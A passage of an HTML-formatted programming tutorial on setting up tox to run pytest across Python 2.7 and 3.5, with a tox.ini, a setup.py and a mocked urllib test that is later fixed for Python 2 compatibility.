to &lt;span style=&#34;color:#ff5c57&#34;&gt;test&lt;/span&gt; against?&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; py36&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;2&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; py27, py36&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;3&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;All versions&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt; py27, py34, py35, py36, pypy, jython&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;4&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; Choose each one-by-one&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Enter the number of your choice &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;3&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When it asks us for the commands to run the tests we will leave the default command, which is pytest, so we just press ENTER.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;What &lt;span style=&#34;color:#ff5c57&#34;&gt;command&lt;/span&gt; should be used to &lt;span style=&#34;color:#ff5c57&#34;&gt;test&lt;/span&gt; your project? Examples:            - pytest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;            - python -m unittest discover&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;            - python setup.py test&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;            - trial package.module&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;gt; Type the command to run your tests [pytest]:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;When it asks us for the list of dependencies we have for our project, separated by a comma, we will write only &amp;lsquo;mock&amp;rsquo;, without the quotation marks.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;What extra dependencies &lt;span style=&#34;color:#ff6ac1&#34;&gt;do&lt;/span&gt; your tests have?&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;default dependencies are: &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;pytest&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Comma-separated list of dependencies:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ready, we have our tox.ini file ready to use that you can see below.&lt;/p&gt;&#xA;&lt;p&gt;The file specifies the following; the versions to be used in the test, in this case Python 2.7 (py27) and Python 3.5 (py35); the dependencies, mock and pytest; and the command with which the tests will be carried out, it will use the pytest library. All sections are customizable and you can use other commands such as &amp;lsquo;coverage&amp;rsquo; or whatever you can think of.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-ini&#34; data-lang=&#34;ini&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# tox (https://tox.readthedocs.io/) is a tool for running tests&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# in multiple virtualenvs. This configuration file will run the&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# test suite on all supported python versions. To use it, &amp;#34;pip install tox&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# and then run &amp;#34;tox&amp;#34; from this directory.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[tox]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;envlist&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;py27, py35&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[testenv]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;deps&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;    mock&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;    pytest&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;commands&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;    pytest&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;create-a-setuppy-file&#34;&gt;Create a setup.py file&lt;/h2&gt;&#xA;&lt;p&gt;Now we will create a simple setup.py file, nothing too sophisticated, just the basics to be able to carry out the tests.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# setup.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; distutils.core &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; setup&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;setup(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;testing&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      version&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;1.0&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      description&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Tox testing&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      author&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Eduardo zepeda&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      author_email&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;eduardomzepeda@outlook.com&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      url&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;https://coffeebytes.dev&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;the-test-file-starting-with-test_&#34;&gt;The test file starting with &amp;rsquo;test_&amp;rsquo;.&lt;/h2&gt;&#xA;&lt;p&gt;We will use code from the previous entry. It is a fairly simple code that connects to example.org and returns the response code from the server. The test only checks that the response code is equal to 200. We are using the mock library to patch the function so that the response code is always 200 and we don&amp;rsquo;t need an internet connection to test.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# test_example.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; unittest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; urllib.request&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; mock &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; patch&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ExampleResponseGetter&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;retrieveStatusCode&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        statusCode &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; urllib&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;urlopen(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;http://example.org&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;status&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; statusCode&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;handleError&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;TestWebPaymentRequest&lt;/span&gt;(unittest&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TestCase):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@patch&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;urllib.request.urlopen&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;testHttpResponse&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, mockedStatus):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        mockedStatus&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;return_value&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;status &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        StatusRetriever &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ExampleResponseGetter()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        responseStatus &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; StatusRetriever&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;retrieveStatusCode()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;assertEqual(&lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;, responseStatus)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;__name__&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    unittest&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;main()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;how-to-execute-tox&#34;&gt;How to execute tox?&lt;/h2&gt;&#xA;&lt;p&gt;Once we have the setup.py, tox.ini and test_example.py files, we will run Tox and it will test our code in Python 2.7 and Python 3.5.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tox&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Our code failed the tests for Python 2.7! This error happens because the urllib module was split into several modules in Python 3, so the urllib.request library does not exist in Python 2.7. This makes our code incompatible with Python 2.7. On the other hand, our test was successful with Python 3.5.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;test_example.py:2: in &amp;lt;module&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    import urllib.request&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;E ImportError: No module named request&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==========&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; passed in 0.26 &lt;span style=&#34;color:#ff5c57&#34;&gt;seconds&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;==========&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;_____________ summary _____________&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ERROR:   py27: commands failed&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  py35: commands succeeded&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will now correct the code so that it passes the tests&lt;/p&gt;&#xA;&lt;p&gt;To make the code compatible with Python 2.7 there are several things we can do, we will do a little tinker trick with imports. The urllib module in python 2.7 has the urlopen method, which is the one we need for the test to run.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# test_example.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; unittest&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;try&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; urllib.request &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; urlopen&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    route &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;urllib.request.urlopen&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;except&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; urllib &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; urlopen&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    route &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;urllib.urlopen&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; mock &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; patch&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ExampleResponseGetter&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;retrieveStatusCode&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        statusCode &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; urlopen(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;http://example.org&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;code&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; statusCode&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;handleError&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;TestWebPaymentRequest&lt;/span&gt;(unittest&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;TestCase):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@patch&lt;/span&gt;(route)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;testHttpResponse&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, 